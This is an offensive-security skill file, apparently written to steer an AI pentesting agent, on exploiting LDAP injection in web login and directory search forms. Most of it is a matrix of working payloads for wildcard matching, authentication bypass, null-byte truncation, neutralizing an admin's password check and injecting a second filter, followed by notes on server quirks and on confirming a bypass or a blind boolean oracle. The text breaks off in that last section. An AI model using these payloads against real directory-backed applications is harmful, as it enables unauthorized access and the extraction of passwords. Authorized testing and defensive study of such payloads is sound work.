exploiting-ldap-injection

name	exploiting-ldap-injection
description	Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input, letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input into LDAP filters (uid, cn, mail, etc.).
domain	cybersecurity
subdomain	web-application-security
tags	["penetration-testing","ldap-injection","authentication-bypass","owasp","web-security"]
version	1.0
author	xalgorix
license	Apache-2.0

Exploiting LDAP Injection

When to Use

• During authorized tests of login forms backed by an LDAP/Active Directory directory
• When a search/lookup feature queries a directory by uid, cn, mail, sn, or similar attributes
• When the app builds filters like (&(user=INPUT)(password=INPUT)) from raw input
• When you spot LDAP-style errors, phpLDAPadmin, or directory-driven address books / user pickers
• When testing intranet portals, SSO bridges, or HR/employee directories

Critical: Variants Most Often Missed

LDAP filters are prefix/Polish notation: (&(a=1)(b=2)) = AND, (|(a=1)(b=2)) = OR, (!(a=1)) = NOT. The wildcard * matches anything and is the single most powerful primitive. Filters MUST stay syntactically valid — prefer sending ONE clean filter. Test the full matrix for every input:

# 1. Wildcard everything (works in most LDAPi contexts)
user=*           password=*        --> (&(user=*)(password=*))   # match any

# 2. Authentication bypass — comment/cut the password check
user=*)(&        password=*)(&     --> (&(user=*)(&)(password=*)(&))
user=*)(|(&       pass=pwd)         --> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*  password=x)   --> (&(user=*)(|(password=*)(password=x))
user=*))%00      pass=any           --> (&(user=*))%00  # NULL byte truncates rest

# 3. Target a known account, neutralize the password
admin)(&)        password=pwd       --> (&(user=admin)(&))(password=pwd)
admin' or '1'='2  (string-context)  --> account selected regardless of password
username=admin)(!(&(|   pass=any))  --> (&(uid=admin)(!(&(|)(webpassword=any))))  # (|)=FALSE → bypass

# 4. Force absolute TRUE / FALSE
(&)  = absolute TRUE        (|)  = absolute FALSE

# 5. Inject a second filter (behavior depends on server)
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
--> (&(objectClass=*)(ObjectClass=*))(&(objectClass=void)...  # first filter executes

Server quirks that change exploitation:

• OpenLDAP: if two filters arrive, only the FIRST executes.
• ADAM / Microsoft LDS: two filters throw an error.
• SunOne Directory Server 5.0: executes BOTH filters.

How to CONFIRM a hit (avoid false negatives)

• Auth bypass: a * / *)(& payload logs you in or returns a user record without valid credentials.
• Boolean oracle (blind): compare a TRUE vs FALSE payload response.